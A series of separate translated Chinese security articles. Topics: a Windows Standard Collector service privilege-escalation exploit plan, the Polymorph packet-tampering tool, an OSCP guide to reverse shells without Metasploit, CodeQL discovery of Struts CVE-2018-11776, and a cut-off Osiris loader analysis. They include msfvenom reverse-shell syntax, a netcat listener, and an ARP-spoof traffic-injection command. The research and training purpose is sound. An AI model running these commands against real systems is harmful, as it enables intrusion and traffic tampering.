库的路径显示Standard Collector服务是Visual Studio诊断工具的一部分,在浏览了相关文件夹的一些库和可执行文件之后,我发现有几个二进制文件是用.NET写的,其中包括一个叫VSDiagnostics.exe的独立命令行工具,下图为控制台的输出:

3.png

VSDiagnostics命令行工具的输出

将VSDiagnostics加载到dnSpy中会发现很多关于该工具以及它如何与Standard Collector服务服务交互的内容。首先,获取IStandardCollectorService的实例,并使用会话配置创建ICollectionSession:

4.png

初始配置诊断收集会话的步骤

接下来,用CLSID和DLL名称将代理添加到ICollectionSession,这也是一个比较有趣的用户控制行为。它也让我记得以前的研究就是利用了这种DLL加载行为。此时,看起来Visual Studio Standard Collector服务与Windows 10中包含的诊断中心Standard Collector服务非常相似甚至相同。我开始使用OleViewDotNet查询服务来查询其支持的接口:

5.png

OleViewDotNet中的Windows诊断中心Standard Collector服务

查看IStandardCollectorService的proxy definition会显示其他熟悉的接口,特别是VSDiagnostics源中的ICollectionSession接口:

6.png

OleViewDotNet中的ICollectionSession接口定义

记下接口ID(“IID”)后,我返回到.NET操作库来比较IID,然而发现它们不同:

7.png

具有不同IID的Visual Studio ICollectionSession定义

深入研究.NET代码,我发现这些Visual Studio特定的接口是通过代理DLL加载的:

8.png

VSDiagnostics.exe函数加载DLL

对DiagnosticsHub.StandardCollector.Proxy.dll中的ManualRegisterInterfaces函数的预览显示了一个迭代IID数组的简单循环。包含在IID数组中的是属于ICollectionSession的数组:

9.png

ManualRegisterInterfaces DLL的函数

10.png

要注册的IID数组中的Visual Studio ICollectionSession IID

在更好地理解Visual Studio Collector服务之后,我想看看是否可以重用相同的.NET代码来控制WindowsCollector服务。为了与正确的服务进行交互,我需要用正确的Windows Collector服务CLSID和IID替换Visual Studio CLSID和IID。接下来,我使用修改后的代码构建一个客户端,该客户端只是创建并启动了Collector服务的诊断会话:

11.png

用于与Collector服务交互的客户端的代码片段

启动Procmon并运行客户端会在指定的C:\Temp临时目录中创建多个文件和文件夹。在Procmon中分析这些事件表明,初始目录创建是在客户端模拟的情况下执行的:

12.png

虽然初始目录是在模拟客户端时创建的,但后续文件和文件夹是在没有模拟的情况下创建的:

13.png

在深入了解其他文件操作之后,有几个比较突出。下图是Stand Collector服务执行的各种文件操作的注释细分:

14.png

最有趣的行为是在创建诊断报告期间发生的文件复制操作。下图显示了相应的调用堆栈和此行为的事件:

15.png

现在确定了用户影响的行为,我构建了一个可能实现的任意文件创建漏洞利用计划:

1.服务调用CloseFile后立即获取合并的ETL文件({GUID} .1.m.etl)的操作锁定。

2.查找报告子文件夹并将其转换为挂载点于C:\Windows\System32。

3.用恶意DLL替换{GUID} .1.m.etl的内容。

4.释放op-lock以允许通过挂载点复制ETL文件。

5.使用复制的ETL作为代理DLL启动新的会话,从而触发提权的代码执行。

为了编写漏洞利用程序,我通过利用James Forshaw的NtApiDotNet C#库创建op-lock和挂载点来扩展客户端。下图显示了用于获取op-lock的代码片段以及相应的Procmon输出,说明了循环和op-lock获取:

01.png02.png

获取文件上的op-lock实质上会停止CopyFile,且允许覆盖内容,并控制CopyFile何时发生。接下来,该漏洞会查找Report文件夹并扫描它以查找需要转换为挂载点的随机命名的子目录。成功创建挂载点后,.etl的内容将被恶意DLL替换。最后,关闭.etl文件并释放op-lock,允许CopyFile操作继续。 此步骤的代码段和Procmon输出如下图所示:

03.pngarbitrary_file_write.png

有几种技术可以通过任意文件写入来提升权限,但是对于此漏洞,我选择使用collector服务的代理DLL加载功能来使其与单个服务隔离。你会注意到在上图中,我没有使用挂载点+符号链接技巧将文件重命名为.dll,因为DLL可以任何扩展名被加载。出于此漏洞的目的,DLL只需要在System32文件夹中,以便Collector服务加载它。下图显示了漏洞利用程序的成功执行以及相应的Procmon输出:

05.png

上面的截图显示漏洞是以用户“Admin”身份运行的,所以这里有一个GIF,显示它是作为“bob”运行的,这是一个低权限的用户帐户:

1.gif

你也可以试试SystemCollector的PoC,NtApiDotNet库同时也是一个Powershell模块,可以让事情变得更简单。

*参考来源:atredis,FB小编Covfefe编译,转载请注明来自FreeBuf.COM

Polymorph是一个用Python3编写的框架,其允许实时修改网络数据包,为用户提供对数据包内容的最大化控制。该框架旨在实现任何现有协议(包括没有公共规范的私有协议)的网络数据包的实时修改。除此之外,其主要目的之一是为用户提供对数据包内容的最大化控制,并能够对信息执行复杂处理。

Polymorph.png

安装

项目地址:https://github.com/shramos/polymorph

在Windows上安装

Polymorph可以在Windows操作系统上被安装,若要正常运行,需要以下必备组件:

Python3(添加到Path),URL:https://www.python.org/downloads/

Wireshark添加到Path),URL:https://www.wireshark.org/download.html

Visual C++ Build Tools,URL:https://www.visualstudio.com/en/thank-you-downloading-visual-studio/?sku=BuildToolsrel=15

Winpcap(如果没和wireshark一起安装)。URL:https://www.winpcap.org/install/default.htm

一旦依赖安装好,你只需要打开控制台执行以下命令:

pip install --process -dependency -links polymorph

注意,必须要以管理员身份打开控制台使用polymorph。

在Linux上下载和安装

Polymorph也用于在Linux操作系统(如Kali Linux)上安装和运行。 在安装框架之前,必须安装以下依赖:

apt-get install build-essential python-dev libnetfilter-queue-dev tshark tcpdump python3-pip wireshark

在安装好依赖之后,可以使用Python pip通过以下方式安装框架本身:

pip3 install polymorph

Docker环境

从项目根目录:

docker-compose up -d

任何机器访问:

docker exec -ti [polymorph | alice | bob] bash

如何使用Polymorph

Polymorph框架由两个主要界面组成:

Polymorph:它由一个命令控制台界面组成。也是主界面,建议将其用于复杂的任务,例如修改复杂协议,修改字段中的类型或在无需规范的情况下修改协议。

Phcli:它是Polymorph框架的命令行界面。建议用于修改简单协议或执行先前生成的模板等任务。

使用Polymorph主界面

参照:https://github.com/shramos/polymorph/blob/master/doc/whitepaper/whitepaper_english.pdf

使用Phcli

解析几乎任何网络协议

现在让我们看看Polymorph如何解析不同网络协议的字段,如果我们想要实时修改这些字段,那么引用它们将会很有用。你可以尝试任何想到的协议。

HTTP协议,仅显示HTTP层和属于它的字段。

# phcli --protocol http --show-fields

显示完整的HTTP数据包及其所属的字段。

# phcli --protocol http --show-packet

你还可以对网络数据包进行过滤,例如,你可以仅显示包含特定字符串或数字的数据包。

# phcli -p dns --show-fields --in-pkt "phrack"

# phcli -p icmp --show-packet --in-pkt "84" --type "int"

过滤也可以这样用:

# phcli -p http --show-packet --in-pkt "phrack;GET;issues"

# phcli -p icmp --show-packet --in-pkt "012345;84" --type "str;int"

你可以按协议包含的字段名称进行筛选,但要注意的是,此名称是Polymorph在分析网络数据包时提供的名称。

# phcli -p icmp --show-packet --field "chksum"

# phcli -p mqtt --show-packet --field "topic;msg"

实时修改网络数据包

知道了Polymorph中显示的要修改的网络数据包,我们将要实时修改它。让我们先从一些例子开始。上一节中介绍的所有过滤器也可以在此处应用。

该例子将通过在request_uri字段中插入值/issues/61/1.html来修改包含字符串/issues/40/1.html及GET的数据包。 因此,当用户访问http://phrack.org/issues/40/1.html时,浏览器将访问http://phrack.org/issues/61/1.html

# phcli -p http --field "request_uri" --value "/issues/61/1.html" --in-pkt "/issues/40/1.html;GET"

如果我们处于机器和网关之间,则上一个命令会起作用。

# phcli --spoof arp --target 192.168.1.20 --gateway 192.168.1.1 -p http -f "request_uri" -v "/issues/61/1.html" --in-pkt "/issues/40/1.html;GET"

或者也许用户想在localhost上尝试它,因为他只需要修改Polymorph默认建立的iptables规则。

# phcli -p http -f "request_uri" -v "/issues/61/1.html" --in-pkt "/issues/40/1.html;GET" -ipt "iptables -A OUTPUT -j NFQUEUE --queue-num 1"

用户可能想要修改未被Polymorph解释为字段的网络分组的一组字节的情况。为此,你可以使用“切分”直接访问数据包字节。(如果在localhost中尝试,请记住添加iptables规则)

# phcli -p icmp --bytes "50:55" --value "hello" --in-pkt "012345"

# phcli -p icmp -b "\-6:\-1" --value "hello" --in-pkt "012345"

# phcli -p tcp -b "\-54:\-20" -v '"><script>alert("hacked")</script>' --in-pkt "</html>"

实时添加复杂处理

在某些情况下,PHCLI选项可能不足以执行某个操作。为此,框架实现了条件函数的概念,条件函数是用Python编写的函数,它将在实时拦截的网络数据包。

条件函数具有以下格式:

def precondition(packet):

    # Processing on the packet intercepted in real time

    return packet

举个简单的例子,我们将屏蔽我们拦截的数据包的原始字节。(如果在localhost中尝试,请记住添加iptables规则)

def execution(packet):

    print(packet.get_payload())

    return None

# phcli -p icmp --executions execution.py -v "None"

*参考来源:kitsploit,Covfefe编译,转载请注明来自FreeBuf.COM

“努力!”是个传统美德,也一直是我们生活的口号,不过大多数人显然没有真正理解它的含义,他们十有八九只是在即时聊天时把努力挂在嘴边,这显得低幼且毫无帮助。同样的,如果不使用Metasploit我们将如何进行渗透测试?我也可以说“努力!”。然后用一个虚情假意的熊猫表情包结束这篇文章,但是我不会那么做。在这篇文章中,我会分享一些(可能)有帮助的,可操作的建议。如果你是个新手或正在为OSCP认证而学习,那么这篇文章了解一下。

487948614044465973.jpg

Metasploit以及其他类似工具在(不)著名的OSCP认证中受到严格限制。其背后有一个很好的理由:这样可以迫使学习者从实际上了解漏洞利用是如何运作的。准备的时候觉得这样很糟糕,但是最后会发现自己会的更多了,这也应该是你准备OSCP认证的目的,不是吗?为了摆脱对Metasploit的依赖,我们需要替代方案并更深入地理解一些关键概念。

为什么用Metasploit

在搞清楚如何才能不用Metasploit之前,得先搞清楚为什么要用它。在OSCP lab的情况下,用Metasploit主要是以下用途:

找到exploit

自定义payload

提权

得到反向shell

为了不使用Metasploit,我们就需要找到替代的东西。

寻找exploit

最快捷,最简单的方法是使用集成在Kali中的工具searchsploit。用上了这个工具,你会觉得每次敲击键盘都优雅了不少。废话不多说,其实Searchsploit只是在exploit-db数据库中搜索你提供的关键字。它会返回可在Metasploit中使用的或是独立的,用各种语言编写的exploit。

语法很容易记住:

searchsploit 关键词1 关键词2 关键词3 ...

输出如下图所示:

33096678141394039.png

还没完,所有的exploit已经存储在kali中,可以通过以下命令将它们复制到当前目录:

searchsploit -m [exploit database id]

例如,要复制图上列表中的第一个exploit:

292944218874835557.png

如果searchsploit中无法找到任何鲜美的exploit,请尝试Google。 如果Google也没有,那么可能还不是一个公开的exploit。此时你就要“努力!”了。

虚情假意的熊猫表情包.gif

自定义payload

如果你对Metasploit很熟练,那么你可能已经熟悉了payload的概念。使用Metasploit模块时设置的payload会定义exploit在成功利用后尝试的实际操作。通常,都是打开Meterpreter会话或反向shell,以便可以控制目标机器。

在Metasploit中选择payload时,就相当于在漏洞利用代码中手动替换payload.因此,要在此处替换Metasploit,我们需要做的就是手动替换payload。 这通常意味着我们需要生成一些shellcode。怎么做?继续往下读!

Msfvenom

谢天谢地,Msfvenom被允许用于OSCP认证。我们可以使用它来生成自定义payload,然后将其用于我们的exploit。需要注意的是:如果你正在进行OSCP认证,请坚持使用标准的反向shell payload,而不是Meterpreter。在OSCP认证中禁止使用Meterpreter。

创建shellcode的基本语法如下:

msfvenom -p [payload] -f [格式] LHOST=[你的ip] LPORT=[你的监听端口]

一旦获得了shellcode,我们只需将其复制-粘贴到漏洞利用代码中,以替换exploit中的当前payload。

例如,如果我们正在处理打开calc.exe(Windows漏洞中常见的PoC)的缓冲区溢出漏洞exploit,那就要编辑该漏洞的代码,用msfvenom生成的shellcode替换当前的calc.exe shellcode。

下图为msfvenom的实例。在这个例子中,我使用的是一个unstaged的TCP反向shell,LHOST设置为1.2.3.4,LPORT设置为1234。

56445374509486817.png

Staged和Unstaged Payload

你之前可能没有注意到,使用的大多数payload都有一个非常相似的双胞胎。例如,请注意“windows/shell_reverse_tcp”和“windows/shell/reverse_tcp”之间的细微差别。第一个是Unstaged的,而第二个是Staged的。 你会看到与许多其他payload相同的命名约定。

Staged和Unstaged有什么区别?如果使用Unstaged的payload,则会在一次命中后发送整个payload并在目标计算机上执行。这意味着你可以使用简单的netcat listener捕获shell,如果你用的是Staged payload,则需要使用Metasploit multi handler来捕获shell(顺便说一下,这在考试中是允许的!)。如果你尝试使用netcat listener来捕获shell,则会在建立连接后立即结束。staged payload初始是较小的payload,然后会从主机上的Metasploit handler下载完整payload。如果你没有足够的空间来利用,那么它们就很棒。最后,你应该用哪个?随你便。在缓冲区溢出的蜜汁世界中,有时一个会有用,而另一个则不会,所以最好同时拥有两个!

其他MSFVenom选项

还有很多其他的选择供你深入研究,但它们超出了本文的范围,这里有一些你可能会使用的最常见的清单,但尚未涵盖所有:

-e 允许你选择编码,其中最常见的是x86\shikata_ga_nai。这对于避免特殊符号或绕过杀毒软件非常有用……虽然对后者已经不太管用了。

-b 允许你设置去除的字符。特定漏洞利用的指定字符通常在公共利用代码中公开。

–lists(两个破折号) 将列出payload和格式,例如,如果要查看所有可能的payload的列表,可以运行msfvenom –list payloads

提权

有时,使用Metasploit进行提权就像1,2,get_system一样简单。不幸的是,如果没有Metasploit,就不那么容易了。首先我要说的是,这是一个很大的话题。对于这篇不起眼的文章来说,写不下,但我会在这里提供一些入门知识。

首先,如果没有参考传说级的“FuzzySecurity Windows Privilege Escalation”文章,就不能说Windows 提权是完整的。这篇文非常好地涵盖了手动Windows 提权的基础知识!

其次,Windows漏洞利用在Linux系统上进行编译会很烦人。你可以从Github下载预编译的漏洞利用程序

再次,同一个repository附带了很好的数据表,可以帮助你确定最有可能有用的漏洞。 你可以点击这里下载。

捕获反向shell

好消息是,这个过程并没有在OSCP中发生很大变化。主要区别在于无法使用Meterpreter。解决这个问题只需使用普通的反向shell payload。

最后我检查过,你可以在Metasploit中使用exploit/multi/handler来捕获shell。这比使用普通的旧netcat listener没有太大的优势,因为你无论如何都看不到Meterpreter或Metasploit的其他功能。唯一的例外是如果你使用的exploit payload限制了空间,在这种情况下,你可能需要使用staged payload。

再次提醒:staged payload不适用于netcat!你必须使用Metasploit的exploit/multi/handler模块。

最后,如果你决定使用Netcat方法,只需使用以下语法启动listener即可。

nc -nvlp [端口号]

*参考来源:medium,FB小编Covfefe编译,转载请注明来自FreeBuf.COM

前言

2018年4月,一个新的Apache Struts远程代码执行漏洞被报告。在Struts特定配置下,访问特制的URL可以触发该漏洞。漏洞编号为CVE-2018-11776(S2-057)。本文将介绍发现漏洞的过程。

映射攻击面

许多漏洞涉及从不受信任的源(例如,用户输入)流向某个特定位置的数据,这种情况下数据会以危险的方式被利用(SQL查询,反序列化以及一些其他解释语言等等)。对于特定项目,开始着手研究此类问题的一种好方法是查看旧版本软件的已知漏洞。这可以让你深入了解所想要查找的各种源及接收点。

在本案例中,作者首先查看了RCE漏洞S2-032(CVE-2016-3081),S2-033(CVE-2016-3687)和S2-037(CVE-2016-4438)。与Struts中的许多其他RCE一样,这些RCE涉及被认为是OGNL表达式的非法输入,允许攻击者在服务器上运行任意代码。这三个漏洞特别有趣,不仅因为它们让我们对Struts的内部工作有了一些了解,而且还因为同样的问题需要三次才能修复!

所有这三个问题都是远程输入通过变量methodName作为参数传递给方法OgnlUtil::getValue()的结果。

String methodName = proxy.getMethod();    //<--- untrusted source, but where from?

LOG.debug("Executing action method = {}", methodName);

String timerKey = "invokeAction: " + proxy.getActionName();

try {

    UtilTimerStack.push(timerKey);

    Object methodResult;

    try {

        methodResult = ognlUtil.getValue(methodName + "()", getStack().getContext(), action); //<--- RCE

这里的proxy字段是ActionProxy类型,它是一个接口。在查看它的定义时,作者发现除了方法getMethod()(在上面的代码中用于赋值的变量methodName)之外,还有各种其他的方法,如getActionName()和getNamespace()。这些方法貌似会从URL返回信息。所以作者开始假设所有这些方法都可能返回不受信任的输入。

现在可以使用QL开始对这些不受信任的来源进行建模:

class ActionProxyGetMethod extends Method {

  ActionProxyGetMethod() {

    getDeclaringType().getASupertype*().hasQualifiedName("com.opensymphony.xwork2", "ActionProxy") and

    (

      hasName("getMethod") or

      hasName("getNamespace") or

      hasName("getActionName")

    )

  }

}

predicate isActionProxySource(DataFlow::Node source) {

   source.asExpr().(MethodAccess).getMethod() instanceof ActionProxyGetMethod

}

识别OGNL接收点

现在已经识别并描述了一些不受信任的来源,下一步是为接收点做同样的事情。如前所述,许多Struts RCE涉及将远程输入解析为OGNL表达式。Struts中有许多函数最终将它们的参数作为OGNL表达式进行评估;对于在本文中开始的三个漏洞,都使用了OgnlUtil::getValue(),但是在漏洞S2-045(CVE-2017-5638)中,使用了TextParseUtil::translateVariables()。我们可以寻找用于执行OGNL表达式的函数,而不是将每一个方法描述为QL中的单独接收点。而OgnlUtil::compileAndExecute()和OgnlUtl::compileAndExecuteMethod()看起来像有希望的接收点。

作者在一个QL predicate中描述了它们,如下所示:

predicate isOgnlSink(DataFlow::Node sink) {

  exists(MethodAccess ma | ma.getMethod().hasName("compileAndExecute") or ma.getMethod().hasName("compileAndExecuteMethod") |

    ma.getMethod().getDeclaringType().getName().matches("OgnlUtil") and

    sink.asExpr() = ma.getArgument(0)

  )

}

第一次尝试污点跟踪

现在已经在QL中定义了源和接收点,所以可以在污点跟踪查询中使用这些定义。 这里作者使用DataFlow库来定义DataFlow配置:

class OgnlTaintTrackingCfg extends DataFlow::Configuration {

  OgnlTaintTrackingCfg() {

    this = "mapping"

  }

  override predicate isSource(DataFlow::Node source) {

    isActionProxySource(source)

  }

  override predicate isSink(DataFlow::Node sink) {

    isOgnlSink(sink)

  }

  override predicate isAdditionalFlowStep(DataFlow::Node node1, DataFlow::Node node2) {

    TaintTracking::localTaintStep(node1, node2) or

    exists(Field f, RefType t | node1.asExpr() = f.getAnAssignedValue() and node2.asExpr() = f.getAnAccess() and

      node1.asExpr().getEnclosingCallable().getDeclaringType() = t and

      node2.asExpr().getEnclosingCallable().getDeclaringType() = t

    )

  }

}

from OgnlTaintTrackingCfg cfg, DataFlow::Node source, DataFlow::Node sink

where cfg.hasFlow(source, sink)

select source, sink

这里作者使用了之前定义的isActionProxySource和isOgnlSink predicates。

需要注意的是,作者还覆盖了一个名为isAdditionalFlowStep的predicate。这个predicate允许包含可以传播非法数据的额外步骤。例如,这允许将项目特定的信息合并到流配置中。再如,如果有通过某个网络层进行通信的组件,则可以在QL中描述那些各种网络端点的代码,允许DataFlow库跟踪非法数据。

对于此特定查询,作者添加了两个额外的流程步骤供DataFlow库使用。 第一个:

TaintTracking::localTaintStep(node1, node2)

包含标准QL TaintTracking库来跟踪标准Java库调用,字符串操作等。第二个是一个近似值,允许通过字段访问跟踪非法数据:

exists(Field f, RefType t | node1.asExpr() = f.getAnAssignedValue() and node2.asExpr() = f.getAnAccess() and

  node1.asExpr().getEnclosingCallable().getDeclaringType() = t and

  node2.asExpr().getEnclosingCallable().getDeclaringType() = t

)

这表示如果将字段分配给某个非法值,只要表达式都由相同类型的方法调用,那么对该字段的访问也将被视为非法。查看以下案例:

public void foo(String taint) {

  this.field = taint;

}

public void bar() {

  String x = this.field; //x非法,因为字段被分配给`foo`中的非法值

}

如你所见,bar()中this.field的访问可能并不总是非法。例如,如果在bar()之前未调用foo()。那么不会在默认的DataFlow::Configuration中包含此流程步骤,因为我们无法保证数据始终以这种方式流动。但是,对于找到漏洞,将它们包含在DataFlow::Configuration中就很有用。

初始结果和查询细化

在最新版本的源代码上运行查询,并开始检查结果,S2-032,S2-033和S2-037仍然被查询标记。在查看其他结果之前,先调查为什么即使代码已修复,这些特定的结果仍然被标记。

虽然最初通过过滤输入来修复第一个漏洞,但是在S2-037之后,Struts团队决定通过调用OgnlUtil::getMalue()替换对OgnlUtil::getMalue()的调用来修复漏洞。

methodResult = ognlUtil.callMethod(methodName + "()", getStack().getContext(), action);

方法callMethod()封装对compileAndExecuteMethod()的调用:

public Object callMethod(final String name, final Map<String, Object> context, final Object root) throws OgnlException {

  return compileAndExecuteMethod(name, context, new OgnlTask<Object>() {

    public Object execute(Object tree) throws OgnlException {

      return Ognl.getValue(tree, context, root);

    }

  });

}

并且compileAndExecuteMethod()在执行之前对表达式执行额外检查:

private <T> Object compileAndExecuteMethod(String expression, Map<String, Object> context, OgnlTask<T> task) throws OgnlException {

  Object tree;

  if (enableExpressionCache) {

    tree = expressions.get(expression);

    if (tree == null) {

      tree = Ognl.parseExpression(expression);

      checkSimpleMethod(tree, context); //额外检查

    }

这意味着我们实际上可以从接收点中移除compileAndExecuteMethod()。

在重新运行查询后,高亮的getMethod()作为接收点的调用的结果消失了。但是,仍然有一些结果突出显示了DefaultActionInvocation.java中的代码,这些代码被认为是已经被修复的,例如对getActionName()的调用,并且这里的数据路径并不是很明显。

路径探索和进一步查询细化

为了研究为什么这个结果被标记,就需要看到DataFlow库用来产生这个结果的每个流程步骤。QL允许编写特殊的路径问题查询,这些查询可生成可逐节点探索的可变长度路径,DataFlow库允许编写输出此数据的查询。

LGTM本身没有路径问题查询的路径探索UI,因此需要使用另一个Semmle应用程序:QL for Eclipse。这是一个Eclipse插件,其中包含一个可视化工具,允许完成污点跟踪中的各个步骤。用户可以免费下载并安装此Eclipse插件。它不仅可以在LGTM.com上对开源项目进行离线分析,还可以提供更强大的开发环境。下文的查询可以在semmle-security-java目录下的Semmle/SecurityQueries Git存储库中找到。你可以按照README.md文件中的说明在Eclipse插件中运行它们。

首先,在initial.ql中运行查询。 在QL for Eclipse中,从DefaultActionInvocation.java中选择结果后,你可以在Path Explorer窗口中看到从源到接收点的详细路径。

详细路径

在上图中,你可以看到,经过几个步骤后,调用getActionName()返回的值会流入对pkg.getActionConfigs()返回的对象的get()调用中的参数:

String chainedTo = actionName + nameSeparator + resultCode

actionName来自某个地方的`getActionName`

ActionConfig chainedToConfig = pkg.getActionConfigs().get(chainedTo)

//chainedTo包含`actionName`并最终出现在`get`方法中

单击下一步,就到了ValueStackShadowMap::get()方法,如下所示:

public Object get(Object key) {

  Object value = super.get(key);  //<--- key gets tainted?

  if ((value == null) && key instanceof String) {

    value = valueStack.findValue((String) key);  //<--- findValue ended up evaluating `key`

  }

  return value;

}

事实证明,因为pkg.getActionConfigs()返回一个Map,而ValueStackShadowMap实现了Map接口,所以理论上pkg.getActionConfigs()返回的值可能是ValueStackShadowMap的一个实例。因此,QL DataFlow库显示了从变量chainedTo到类ValueStackShadowMap中的get()实现的潜在流程。实际上,ValueStackShadowMap类属于jasperreports插件,该类的实例仅在几个地方创建,并都不会被pkg.getActionConfigs()返回。在发现ValueStackShadowMap::get()不太可能被命中之后,作者通过在DataFlow::Configuration中添加一个过滤来删除依赖它的结果:

override predicate isBarrier(DataFlow::Node node) {

  exists(Method m | (m.hasName("get") or m.hasName("containsKey")) and

    m.getDeclaringType().hasName("ValueStackShadowMap") and

    node.getEnclosingCallable() = m

  )

}

这个predicate意思是如果非法数据流入ValueStackShadowMap的get()或containsKey()方法,那么就不要继续跟踪它。

新漏洞:CVE-2018-11776

只有10对源和接收点,就很容易通过手工检查发现这些是否真正存在问题。通过一些路径,作者发现有些路径是无效的,因为它们在测试用例中,所以在查询中添加了一些过滤来过滤掉这些路径。这就留下了一些非常有趣的结果。

以ServletActionRedirectResult.java中的源代码为例:

ServletActionRedirectResult.java中的源代码

在第一步中,调用getNamespace()的源通过变量namespace流入ActionMapping构造函数的参数:

public void execute(ActionInvocation invocation) throws Exception {

  actionName = conditionalParse(actionName, invocation);

  if (namespace == null) {

    namespace = invocation.getProxy().getNamespace();  //源

  } else {

    namespace = conditionalParse(namespace, invocation);

  }

  if (method == null) {

    method = "";

  } else {

    method = conditionalParse(method, invocation);

  }

  String tmpLocation = actionMapper.getUriFromActionMapping(new ActionMapping(actionName, namespace, method, null)); //namespace进入ActionMapping的构造函数

  setLocation(tmpLocation);

继续执行这些步骤之后,可以看到getUriFromActionMapping()返回一个URL字符串,该字符串使用构造的ActionMapping中的namespace。然后通过变量tmpLocation流入setLocation()的参数,然后setLocation()在超类StrutsResultSupport中设置字段位置:

public void setLocation(String location) {

    this.location = location;

}

然后代码在ServletActionResult上调用execute():

String tmpLocation = actionMapper.getUriFromActionMapping(new ActionMapping(actionName, namespace, method, null));

setLocation(tmpLocation);

super.execute(invocation);

它将location字段传递给对conditionalParse()的调用:

public void execute(ActionInvocation invocation) throws Exception {

    lastFinalLocation = conditionalParse(location, invocation);

    doExecute(lastFinalLocation, invocation);

}

然后conditionalParse()将位置传递给translateVariables():

protected String conditionalParse(String param, ActionInvocation invocation) {

    if (parse && param != null && invocation != null) {

        return TextParseUtil.translateVariables(

            param,

            invocation.getStack(),

            new EncodingParsedValueEvaluator());

    } else {

        return param;

    }

}

所以当在ServletActionRedirectResult中没有设置namespace参数时,代码从ActionProxy获取namespace,然后将其作为OGNL表达式进行评估。为了测试这个,作者通过以下方法替换了showcase应用程序中的一个配置文件(例如struts-actionchaining.xml)中的struts标记:

<struts>

    <package name="actionchaining" extends="struts-default">

        <action name="actionChain1" class="org.apache.struts2.showcase.actionchaining.ActionChain1">

           <result type="redirectAction">

             <param name = "actionName">register2</param>

           </result>

        </action>

    </package>

</struts>

然后在本地运行showcase应用程序,并访问了一个可以触发此漏洞的URL并执行shell命令以在计算机上打开计算器应用程序。

不仅如此,来自ActionChainResult,PostbackResult和ServletUrlRenderer的不可信来源也同样有效!PortletActionRedirectResult中的那个可能也可以,但没有被测试。四个RCE足以证明问题的严重性。

总结

在这篇文章中,作者展示了通过使用已知(过去的)的漏洞来帮助构建应用程序的污点模型,只需将麻烦的工作留给QL DataFlow库就可以找到新的漏洞。

鉴于S2-032,S2-033和S2-037都是在短时间内被发现和修复的,安全研究人员研究了S2-032以寻找类似问题并发现S2-033和S2-037。所以这里最大的问题是:鉴于在这里发现的漏洞(S2-057)也来自类似的问题,安全研究人员和供应商是如何错过的,而且在两年后才发现?在作者看来,这是因为S2-032,S2-033和S2-037之间的相似性在某种意义上是局部的,因为它们都出现在源代码中的相似位置(全部在Rest插件中)。S2-057和S2-032之间的相似性处于更加语义的层面。它们由受污染的源连接,而不是源代码的位置,因此任何能够成功找到这样的变体的软件或工具都需要能够在整个代码库中执行这种语义分析。

*参考来源:lgtm,FB小编Covfefe编译,转载请注明来自FreeBuf.COM

模仿合法进程通常是恶意软件作者最喜欢使用的技术,因为这可以允许他们运行恶意模块而不被杀毒软件察觉。多么多年来,各种各样的技术层出不穷,他们也更加接近了这个目标。这个话题也被研究者和逆向工程师所津津乐道,因为其对于Windows API的使用也非常有创意。

shutterstock_1929537-900x506.jpg

Process Doppelgänging是一种模仿进程的新技术,该技术于去年Black Hat会议公开,在此之后,一个叫SynAck的勒索软件被发现利用这种技术实现恶意目的,尽管Process Doppelgänging在野并不常见,我们最近还是在Osiris银行木马(Kronos的新版本)中发现了一些类似特征。仔细分析后,我们发现原始的技术已经被进一步定制化了。

实际上,恶意软件作者已将ProcessDoppelgänging和Process Hollowing中的技术结合使用,并选择两种技术的最佳部分来创建更强大的组合。在这篇文章中,我们仔细研究了如何在受害机器上部署Osiris,这要归功于一个有趣的Loader。

概览

Osiris按三个步骤加载,如下图所示:

e706e67.png

第一阶段加载器使用了ProcessDoppelgänging技术。然后由于第二阶段的加载器,Osiris被分发。

加载额外的NTDLL

运行时,初始dropper会创建一个新的进程wermgr.exe。

dropper_run-1.png

查看注入器的进程空间中所加载的模块,我们可以看到NTDLL的一个副本:

added_ntdll-1_.png

这是一种众所周知的技术,一些恶意软件作者使用这种技术来避免被监控并隐藏他们所调用的API。当我们仔细研究额外NTDLL调用了哪些函数时,发现更多有趣的细节。它调用了几个与NTFS事务相关的API。很容易猜到,这里采用了依赖于这种机制的Process Doppelgänging技术。

NTDLL是一个特殊的低级DLL。基本上,它只是系统调用的封装。它与系统中的其他DLL没有任何依赖关系。由于这个原因,它可以方便地加载。其他的系统DLL(如Kernel32)在很大程度上依赖于从NTDLL导出的函数。这就是为什么许多用户区的监视工具hook并拦截NTDLL导出的函数:检查正在调用的函数,并监视是否存在任何可疑活动。

恶意软件作者显然知道这一点,所以有时,为了绕过这种机制,他们从磁盘加载新的且未hook的NTDLL副本。有几种方法可以实现这一点。我们来看看Osiris的作者是如何做到的。

通过内存映射,我们看到NTDLL副本作为image加载,与其他DLL一样。这种类型的映射是常见的由LoadLibrary函数加载DLL,或者NTDLL的低级版本LdrLoadDll的映射。不过NTDLL默认加载到每个可执行文件中,并且官方API无法再次加载相同的DLL。

通常,恶意软件作者都会手动映射副本,但这会提供不同的映射类型,并和正常加载的DLL中不一样。在这里,作者想出一个解决方法:他们使用以下函数将文件作为一个部分加载:

ntdll.NtCreateFile – 打开ntdll.dll文件

ntdll.NtCreateSection – 在文件外创建一个section

ntdll.ZwMapViewOfSection – 将此部分映射到进程地址空间

create_and_map_.png

这种做法很聪明,因为DLL被映射为一个image,所以它看起来像是以典型的方式加载的。

该DLL被进一步使用,以使注入载荷行为更加隐蔽,拥有NTDLL的新副本,所以从那里使用的功能没有被安全产品所发现。

与Process Doppelgänging和Process Hollowing的比较

Loader将载荷注入新进程的方式与Process Dopplegänging显示出一些重要的相似之处。但是,如果我们仔细分析它,也可以看到与去年Black Hat所提出的存在不同之处。不同点更像Process Hollowing。

经典的Process Doppelgänging:

dopel1_.png

Process Hollowing:

hollowing1-1_.png

Osiris Loader:

osildr1-2_.png

创建一个新进程

Osiris loader首先创建它将要注入的进程。该过程由Kernel32:CreateProcessInternalW中的函数创建:

create_process_internal_.png

新进程(wermgr.exe)是在原始文件的挂起状态下创建的。它让我们想起了Process Hollowing,这是一种更古老的进程模仿技术。在Process Dopplegänging算法中,创建新流程的步骤需要很长,并使用不同的,未记录的API:NtCreateProcessEx:

create_process_.png

这种差异很重要,因为在Process Doppelgänging中,新进程不是从原始文件创建的,而是从特殊缓冲区(section)创建的。section应该是在早期创建,使用在NTFS事务中创建的“不可见”文件。在Osiris loader中,这个部分也会出现,但顺序是颠倒的,让我们不知是否可以将它们视为相同的算法。

创建进程后,相同的image(wermgr.exe)将映射到loader的上下文中,就像之前使用NTDLL一样。

mapped_wermgr_.png

后来证明,loader会修补远程进程。wermgr.exe的本地副本将用于收集有关补丁的信息。

NTFS事务的使用

